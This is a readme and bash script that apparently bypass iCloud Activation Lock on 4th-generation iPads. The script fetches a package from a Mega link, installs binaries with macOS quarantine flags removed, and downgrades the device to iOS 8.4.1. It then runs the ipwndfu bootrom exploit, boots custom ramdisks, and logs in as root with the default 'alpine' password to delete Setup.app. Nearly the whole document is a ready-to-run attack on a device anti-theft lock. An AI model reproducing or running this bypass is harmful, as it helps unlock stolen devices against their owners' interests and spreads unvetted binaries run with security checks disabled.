iPad4 Activation Lock Bypass

readme.txt

1 - Download ipad4doulcipackage.tar: https://mega.nz/file/TdVTSRRa#BW7Ct56tfmS0yGFlvKRe6dt51IFXHEOPu6LqBAQ02Ec
2 - Open a new Terminal
3 - Place ipad4doulci.sh and ipad4doulcipackage.tar into the same directory
4 - $ chmod +x ipad4doulci.sh
5 - $ ./ipad4doulci.sh

ipad4doulci.sh

#!/usr/bin/env bash
clear
cat <<EOF

----iPad 4th generation Activation Lock Bypass script----
made by @sen0rxol0
------------------------------------------------

----Credits----
u/johnponflanchan and @appletech752
------------------------------------------------

----Special thanks----
Arsevka_JDM (for the ramdisks)
tihmstar (for EtasonJB and OdyessusOTA2)
Daniel Volt (for the updated ipwndfu that does not have AssertionError)
------------------------------------------------

EOF
sleep 5

tar -xf ipad4doulcipackage.tar

if [ "$(which irecovery)" != "/usr/local/bin/irecovery" ]; then
tar -xf libirecovery.tar
mv ./usr/local/bin/irecovery /usr/local/bin/
mv ./usr/local/include/* /usr/local/include/
mv ./usr/local/lib/libirecovery-* /usr/local/lib/
mv ./usr/local/lib/pkgconfig/* /usr/local/lib/pkgconfig/
rm -rf ./usr/ libirecovery.tar
chmod +x /usr/local/bin/irecovery
xattr -d com.apple.quarantine /usr/local/bin/irecovery
fi

_dfu_enter()
{
  read -p "Press ENTER to continue:"
  echo ""
  echo "Hold down both the HOME button and LOCK button."
  echo ""
  sleep 1
  echo "STARTING IN 3"
  sleep 1
  echo "STARTING IN 2"
  sleep 1
  echo "STARTING IN 1"
  sleep 1
  for s in $(seq 0 8)
  do
  sleep 1
  echo $s
  done
  echo ""
  echo "Release the LOCK button while continuing to hold down the HOME button."
  echo ""
  sleep 7

  if [ "$(irecovery -m)" == "DFU Mode" ]; then
  echo "Found a device in DFU Mode."
  else
  echo "No device found in DFU Mode!"
  exit
  fi
}

echo "Connect the device using a USB cable."
sleep 5
echo "****Put the device in DFU Mode****"
_dfu_enter
irecovery -q > device_query
device_name=$(cat device_query | grep "NAME" | sed "s/NAME: //")
device_id=$(cat device_query | grep "PRODUCT" | sed "s/PRODUCT: //")
ipsw_path=$1

if [ -z "$ipsw_path" ]; then
echo "DOWNLOAD the iOS 8.4.1 IPSW from http://ipsw.me/$device_id"
echo "USAGE: $0 <IPSW path>"
echo "------------------------------------------------"
exit
fi

cd Exploit/
xattr -d com.apple.quarantine ./ipsw ./idevicerestore ./xpwntool ./ipwndfu ./sshpass
chmod +x ./ipsw ./idevicerestore ./xpwntool ./ipwndfu ./sshpass
echo "----Downgrading to iOS 8.4.1 using OdyessusOTA2----"
./ipsw $ipsw_path /tmp/custom_downgrade.ipsw -bbupdate
sleep 2
./idevicerestore -t /tmp/custom_downgrade.ipsw
sleep 2
./xpwntool `unzip -j /tmp/custom_downgrade.ipsw 'Firmware/dfu/iBSS*' | awk '/inflating/{print $2}'` ./iBSS_pwned
./ipwndfu -p
sleep 2
./ipwndfu -l ./iBSS_pwned
sleep 2
./idevicerestore -w /tmp/custom_downgrade.ipsw
echo "Waiting for device to boot..."
sleep 75
echo "------------------------------------------------"
echo ""
rm -rf /tmp/custom_downgrade*
rm -rf ./iBSS* ./shsh/
echo "----Now the device is on iOS 8.4.1, let's actually Bypass iCloud Activation----"
sleep 1
echo "****Put the device in DFU Mode****"
_dfu_enter
./ipwndfu -p
sleep 2

if [ $(echo $device_name | grep -c "WiFi") == 1 ]; then
  device_loader_path=../Loaders/iPad4/WiFiModel
fi

if [ $(echo $device_name | grep -c "Global") == 1 ]; then
  device_loader_path=../Loaders/iPad4/GlobalModel
fi

if [ $(echo $device_name | grep -c "GSM") == 1 ]; then
  device_loader_path=../Loaders/iPad4/GSMModel
fi

./ipwndfu -l $device_loader_path/iBSS
sleep 1
irecovery -f $device_loader_path/iBEC
sleep 2
irecovery -f $device_loader_path/devicetree
irecovery -c "devicetree"
sleep 2
irecovery -f $device_loader_path/ramdisk
irecovery -c "ramdisk"
sleep 2
irecovery -f $device_loader_path/kernelcache
irecovery -c "bootx"
sleep 10
python ../Python/tcprelay.py -t 22:2222 &
pid_tcprelay=$!
sleep 1
./sshpass -p "alpine" ssh -o StrictHostKeyChecking=no -p2222 root@localhost "mount_hfs /dev/disk0s1s1 /mnt1"
sleep 3
./sshpass -p "alpine" ssh -o StrictHostKeyChecking=no -p2222 root@localhost "rm -r /mnt1/Applications/Setup.app"
./sshpass -p "alpine" ssh -o StrictHostKeyChecking=no -p2222 root@localhost "reboot_bak"
echo "ALL DONE."
sleep 1
kill $pid_tcprelay
exit